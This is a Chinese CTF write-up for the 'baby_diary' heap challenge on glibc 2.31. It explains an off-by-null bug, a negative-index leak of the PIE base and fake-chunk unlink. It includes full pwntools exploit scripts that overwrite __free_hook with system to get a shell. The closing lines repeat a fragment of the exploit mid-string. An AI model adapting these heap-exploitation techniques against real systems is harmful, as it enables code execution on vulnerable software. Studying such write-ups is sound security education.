保护
熟悉得菜单
write
这里有个稍稍复杂的机制。
在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。
后面函数是干嘛的。
会控制后面哪一个字节。
具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。
所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.
read
正常的输出。
输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。
delete
看得到清理得还是很干净的。
我们的思路是这样的。
off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar
关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。
但是出问题了,报错。
看了一下源码,
2.29之后通过这个检查把这种house of ein就没了。
所以我们只能考虑unlink。
unlink需要泄露地址,泄露一个heap地址,或者程序基地址。
没想出来。
参考了NU1L的wp,大佬还是大佬。
问题出在show,show越界了。
它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。
我们试图从address_array向上寻找。
便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。
gdb调试往上调,我们发现了一个这样的地方。
1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。
我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。
首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。
我们发现
size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。
所以我们要首先申请够23个chunk。
申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。
剩下的爆破就行。
到此呢我们做到了一个什么事情,我们可以得到程序的pie。
贴一下爆破的部分算了,剩下的就自己随便写了。
from pwn import *
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> ", "1")
r.sendlineafter("size: ", str(size))
r.sendafter("content: ", content)
def show(index):
r.sendlineafter(">> ", "2")
r.sendlineafter("index: ", str(index))
def dele(index):
r.sendlineafter(">> ", "3")
r.sendlineafter("index: ", str(index))
while True:
try:
r = process('./baby_diary')
for i in range(22):
add(0x1000,'\xff'*0x1000)
add(0x7000000,'aaaa\n')
show(-11)
r.recvuntil('\x08')
break
except EOFError:
r.close()
continue
leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008
gdb.attach(r)
input()
然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。
它来自一篇博客。
它也是在伪造chunk,但是做法更复杂也更高级。
不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。
我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。
下面的图是我这里伪造好的chunk。
伪造好也是随便利用了。
exp
from pwn import*
context.log_level = "debug"
r = process("./baby_diary")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> ", "1")
r.sendlineafter("size: ", str(size))
r.sendlineafter("content: ", content)
def show(index):
r.sendlineafter(">> ", "2")
r.sendlineafter("index: ", str(index))
def delete(index):
r.sendlineafter(">> ", "3")
r.sendlineafter("index: ", str(index))
for i in range(7):
add(0x38-1,'aaaa') # 0-6
add(0x98-1,"aaaa") #7 这里的大小的确立是想把fakechunk放在最后一个字节为0的地方。
add(0xb40, "largebin") #8
add(0x10, "aaaa") #9
delete(8)
add(0x1000, '') #8 ;chunk8 to largebin
add(0x38-1, '' ) # 10
# make fd->bk = fakechunk
# 切割largebin
add(0x38-1,'aaaa') #11
add(0x80,'aaaa') #12 能把chunk13放在最后一个字节\x00的地方
add(0x38-1, 'a') #13
add(0x38-1, 'b') #14
add(0x38-1, 'c') #15
add(0x38-1, 'd') #16
for i in range(7):
delete(i)
delete(15) #
delete(13) #0x600
# clear tcache
for i in range(7): # 0-6
add(0x38-1, '')
add(0x420,'aaaa') #13 fastbin to small bin
add(0x38-1,p64(0x50)) #15 0x600
# fakechunk size
delete(10)
add(0x38-1,'\x00'*7+'\x03'+p64(0x201)) #修改fake_chunk fd
# make bk->fd = fakechunk
# clear chunk from tcache
add(0x38-1, 'clear') #17
for i in range(7): #0-6
delete(i)
# free to fastbin
delete(11)
delete(10) #fake_chunk 0x4f0
for i in range(7): #0 - 6
add(0x38-1, '')
# change fake chunk's bk->fd
add(0x38-1, '')
# fake pre_inuse / prev_size
delete(16)
add(0x38-1,'\x00'*0x37) #11
delete(11)
add(0x38-1,'\x00'*0x2f+'\x20')
gdb.attach(r)
delete(13)
add(0x30, '')
add(0x20, '')
add(0x30, '')
show(12)
malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print "libc_base = " + hex(libc_base)
delete(17)
delete(15)
add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))
# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00') #17
add(0x30,p64(system_addr)) #19
delete(17)
r.interactive()
libc_base = " + hex(libc_base)
delete(17)
delete(15)
add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))
# add(0x30,"cat flag\x00")
add(0x30,'/bin/sh\x00') #17
add(0x30,p64(system_addr)) #19
delete(17)
r.interactive()